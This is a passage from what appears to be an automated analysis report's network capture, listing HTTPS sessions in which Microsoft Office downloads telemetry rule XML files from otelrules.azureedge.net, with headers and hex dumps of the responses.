2024-10-29 19:38:17 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.4	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:18 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:18 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: a6706070-501e-005b-556d-28d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193818Z-15b8d89586f42m673h1quuee4s0000000b2000000000d2xe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:18 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.4	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:18 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:18 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 44b69168-a01e-0098-3739-288556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193818Z-15b8d89586fxdh48ft0acdbg4400000000w0000000001t8e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:18 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.4	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:18 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:18 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 28a40559-201e-0096-60e1-29ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193818Z-r197bdfb6b4mcssrk8cfa4gm1g00000000pg00000000c7sc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 19:38:18 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.4	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:18 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:18 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 8b6f07ae-001e-00ad-16fd-27554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193818Z-17c5cb586f65j4snvy39m6qus400000002d00000000007ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:18 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.4	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:18 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:18 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:18 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: 135a34dd-b01e-0098-371c-27cead000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193818Z-r197bdfb6b4c8q4qvwwy2byzsw00000007d0000000002ak0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:18 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.4	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:19 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:19 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 419dffea-201e-003c-451f-2830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193819Z-15b8d89586fpccrmgpemqdqe5800000001v000000000aves x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:19 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49890	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:19 UTC	192	OUT	GET /rules/rule700751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:19 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:19 GMT Content-Type: text/xml Content-Length: 1414 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE03B051D" x-ms-request-id: 897ec3ad-201e-005d-0167-27afb3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193819Z-16849878b786lft2mu9uftf3y40000000830000000011c29 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:19 UTC	1414	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49891	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:19 UTC	192	OUT	GET /rules/rule700750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:19 GMT Content-Type: text/xml Content-Length: 1377 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:02 GMT ETag: "0x8DC582BEAFF0125" x-ms-request-id: 2d9e7036-b01e-0097-31a8-264f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193819Z-17c5cb586f6b6kj91vqtm6kxaw00000005u0000000000zq0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:19 UTC	1377	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 44 65 73 6b 74 6f 70 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Desktop" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookDesktop" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49892	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:19 UTC	192	OUT	GET /rules/rule700151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:19 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0A2434F" x-ms-request-id: 3452001d-001e-0065-12df-250b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193819Z-16849878b78qfbkc5yywmsbg0c00000006gg00000001348s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:19 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOn

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49893	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:19 UTC	192	OUT	GET /rules/rule700150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:19 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:19 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE54CA33F" x-ms-request-id: e9bbe3b2-401e-005b-3496-259c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193819Z-15b8d89586fmhjx6a8nf3qm53c00000000u0000000005449 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:19 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 6e 65 4e 6f 74 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 6e 65 4e 6f 74 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.OneNote" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOneNote" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49894	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 19:38:20 UTC	192	OUT	GET /rules/rule703451v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 19:38:21 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 19:38:20 GMT Content-Type: text/xml Content-Length: 1409 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFC438CF" x-ms-request-id: 623250e5-d01e-00ad-1e9c-27e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T193820Z-16849878b78p49s6zkwt11bbkn00000006q000000000959d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 19:38:21 UTC	1409	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 66 66 69 63 65 4d 6f 62 69 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 